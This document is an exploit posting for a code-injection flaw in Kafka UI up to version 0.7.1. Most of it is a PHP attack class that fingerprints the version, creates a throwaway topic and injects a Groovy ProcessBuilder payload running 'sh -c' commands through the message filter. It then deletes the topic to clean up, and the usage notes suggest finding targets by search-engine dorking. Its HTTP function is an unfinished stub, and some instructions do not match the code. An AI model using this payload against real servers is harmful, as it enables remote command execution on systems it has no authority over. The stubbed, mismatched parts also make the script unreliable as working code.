=============================================================================================================================================
| # Title : Kafka UI 0.7.1 Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |
| # Vendor : https://github.com/provectus/kafka-ui/ |
=============================================================================================================================================POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] uses the CURL to Allow remote command .
[+] Line 159 set your target .
[+] save code as poc.php .
[+] USage : cmd => c:\www\test\php poc.php
[+] PayLoad :
<?php
class KafkaUIExploit {
private $target;
private $version;
private $cluster;
private $new_topic;
public function __construct($target) {
$this->target = $target;
}
public function vuln_version() {
$uri = $this->normalize_uri('/actuator/info');
$response = $this->send_request('GET', $uri, 'application/json');
if ($response && $response['status_code'] == 200) {
$json_response = json_decode($response['body'], true);
if (!empty($json_response)) {
if (isset($json_response['build']['version'])) {
$this->version = ltrim($json_response['build']['version'], 'v');
} elseif (isset($json_response['git']['commit']['id'])) {
// Git commit versioning (this part should check with a local list if needed)
$git_commit_id = substr($json_response['git']['commit']['id'], 0, 7);
// Implement logic to map git commit to version
}
return version_compare($this->version, '0.7.1', '<=') && version_compare($this->version, '0.4.0', '>=');
}
}
return false;
}
public function get_cluster() {
$uri = $this->normalize_uri('/api/clusters');
$response = $this->send_request('GET', $uri, 'application/json');
if ($response && $response['status_code'] == 200) {
$json_response = json_decode($response['body'], true);
foreach ($json_response as $cluster) {
if ($cluster['status'] == 'online' || $cluster['topicCount'] > 0) {
return $cluster['name'];
}
}
}
return null;
}
public function create_topic($cluster) {
$topic_name = $this->random_string(8);
$post_data = json_encode([
'name' => $topic_name,
'partitions' => 1,
'replicationFactor' => 1,
'configs' => [
'cleanup.policy' => 'delete',
'retention.bytes' => '-1'
]
]);
$uri = $this->normalize_uri("/api/clusters/$cluster/topics");
$response = $this->send_request('POST', $uri, 'application/json', $post_data);
if ($response && $response['status_code'] == 200) {
$json_response = json_decode($response['body'], true);
return $json_response['name'];
}
return null;
}
public function delete_topic($cluster, $topic) {
$uri = $this->normalize_uri("/api/clusters/$cluster/topics/$topic");
$response = $this->send_request('DELETE', $uri, 'application/json');
return $response['status_code'] == 200;
}
public function produce_message($cluster, $topic) {
$post_data = json_encode([
'partition' => 0,
'key' => 'null',
'content' => 'null',
'keySerde' => 'String',
'valueSerde' => 'String'
]);
$uri = $this->normalize_uri("/api/clusters/$cluster/topics/$topic/messages");
$response = $this->send_request('POST', $uri, 'application/json', $post_data);
return $response['status_code'] == 200;
}
public function execute_command($cmd) {
$payload = "Process p=new ProcessBuilder(\"sh\",\"-c\",\"$cmd\").redirectErrorStream(true).start()";
$uri = $this->normalize_uri("/api/clusters/{$this->cluster}/topics/{$this->new_topic}/messages");
$params = [
'q' => $payload,
'filterQueryType' => 'GROOVY_SCRIPT',
'attempt' => 2,
'limit' => 100,
'page' => 0,
'seekDirection' => 'FORWARD',
'keySerde' => 'String',
'valueSerde' => 'String',
'seekType' => 'BEGINNING'
];
return $this->send_request('GET', $uri, 'application/x-www-form-urlencoded', '', $params);
}
public function check() {
if ($this->vuln_version()) {
return "Kafka-ui version: {$this->version} is vulnerable";
}
return "Kafka-ui version is not vulnerable or unknown.";
}
public function exploit() {
$this->cluster = $this->get_cluster();
if (!$this->cluster) {
die("Could not find or connect to an active Kafka cluster.");
}
$this->new_topic = $this->create_topic($this->cluster);
if (!$this->new_topic) {
die("Could not create a new topic.");
}
if (!$this->produce_message($this->cluster, $this->new_topic)) {
die("Failed to trigger Groovy script payload execution.");
}
$this->execute_command('your_command_here'); // Replace with your desired command
if ($this->delete_topic($this->cluster, $this->new_topic)) {
echo "Successfully deleted topic {$this->new_topic}.";
} else {
echo "Could not delete topic {$this->new_topic}. Manual cleanup required.";
}
}
private function send_request($method, $uri, $content_type, $data = '', $params = []) {
// Placeholder for HTTP request logic (curl, file_get_contents, etc.)
// Implement this function with your desired HTTP request library in PHP
return [
'status_code' => 200,
'body' => '{}'
];
}
private function normalize_uri($path) {
return $this->target . $path;
}
private function random_string($length) {
return bin2hex(random_bytes($length / 2));
}
}
// Example usage:
$exploit = new KafkaUIExploit("http://target.com");
echo $exploit->check();
$exploit->exploit();
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================